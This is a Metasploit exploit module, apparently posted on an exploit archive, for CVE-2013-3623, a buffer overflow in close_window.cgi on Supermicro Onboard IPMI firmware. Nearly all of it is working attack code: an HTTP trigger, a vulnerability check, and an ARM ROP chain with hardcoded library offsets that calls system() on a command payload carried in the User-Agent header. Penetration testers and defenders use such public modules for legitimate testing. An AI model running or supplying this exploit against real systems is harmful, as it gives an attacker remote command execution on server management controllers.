Supermicro Onboard IPMI close_window.cgi Buffer Overflow Exploit

:
18.11.2013
:
Onboard IPMI (X9SCL/X9SCM)
:

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Supermicro Onboard IPMI close_window.cgi Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow on the Supermicro Onboard IPMI controller web
interface. The vulnerability exists on the close_window.cgi CGI application, and is due
to the insecure usage of strcpy. In order to get a session, the module will execute
system() from libc with an arbitrary CMD payload sent on the User-Agent header. This
module has been tested successfully on Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware
SMT_X9_214.
},
'Author' =>
[
'hdm', # Vulnerability Discovery and Metasploit module
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'Payload' =>
{
'Space' => 8000, # Payload sent on the user agent, long enough to fit any payload
'DisableNops' => true,
'BadChars' => (0x00..0x1f).to_a.pack("C*"), # not a big deal, we're working with ARCH_CMD payloads
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic openssl'
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'References' =>
[
[ 'CVE', '2013-3623' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ]
],
'Targets' =>
[
[ 'Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware SMT_X9_214',
{
:callback => :target_smt_x9_214
}
]
],
'DisclosureDate' => 'Nov 06 2013',
'DefaultTarget' => 0))

end

def send_close_window_request(sess, agent = rand_text_alpha(8))
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi/close_window.cgi",
'agent' => rand_text_alpha(16) + agent,
'encode_params' => false,
'vars_post' => {
'sess_sid' => sess
}
})

return res
end


def check
safe_check = rand_text_alpha(20)
trigger_check = rand_text_alpha(132)

res = send_close_window_request(safe_check)

unless res and res.code == 200 and res.body.to_s =~ /Can't find action/
return Exploit::CheckCode::Unknown
end

res = send_close_window_request(trigger_check)

unless res and res.code == 500
return Exploit::CheckCode::Safe
end

return Exploit::CheckCode::Vulnerable
end

def target_smt_x9_214
base_crypt = 0x40074000 # libcrypto.so.0.9.8
base_libc = 0x40554000 # libc-2.3.5.so

buf = rand_text_alpha(68)
buf << rand_text_alpha(4) # r10
buf << rand_text_alpha(4) # r11
buf << rand_text_alpha(4) # sp
buf << [base_crypt + 0x39598].pack("V") # pc # mov pc, r4
# 2nd stage
buf << "\x68\xd0\x84\xe2" # add sp, r4, 104 # make sp point to controlled data in order to accomplish the "ret2system"
offset = ssl ? 208 : 204 # when ssl there is an additional environment variable "HTTPS=on"
buf << [offset].pack("C") + "\x50\x84\xe2" # add r5, r4, 204 # make r5 point to pointer to envp
buf << "\x70\x40\xb5\xe8" # ldmfd r5!, {r4, r5, r6, ls} # store on r4 pointer to envp USER_AGENT pointer
buf << "\x20\x40\x84\xe2" # add r4, r4, 32 # to skip the "HTTP_USER_AGENT=" substring and avoid bachars on emulated environment
buf << "\x40\x80\xbd\xe8" # ldmfd sp!, {r6, pc}
buf << rand_text_alpha(4) # R6
buf << [ base_crypt + 0x3A8BC ].pack("V") # mov r0, r4; ldmfd sp!, {r4,pc} # store in r0 pointer to command
buf << rand_text_alpha(4) # r4
buf << [ base_libc + 0x3617c ].pack("V") # system at libc
buf << rand_text_alpha(128-buf.length) # padding to reach memory which allows to control r4 when overflow occurs
# 1st stage: adjust r4 and pc
buf << "\x80\x40\x44\xe2" # sub r4, r4,-128 # make r4 point to the start of the buffer
buf << "\x54\xf0\x84\xe2" # add pc, r4, 84 # give control to 2nd stage

return buf
end

def exploit
buffer = self.send(target[:callback])
print_status("#{peer} - Sending exploit...")
send_close_window_request(buffer, payload.encoded)
end

end

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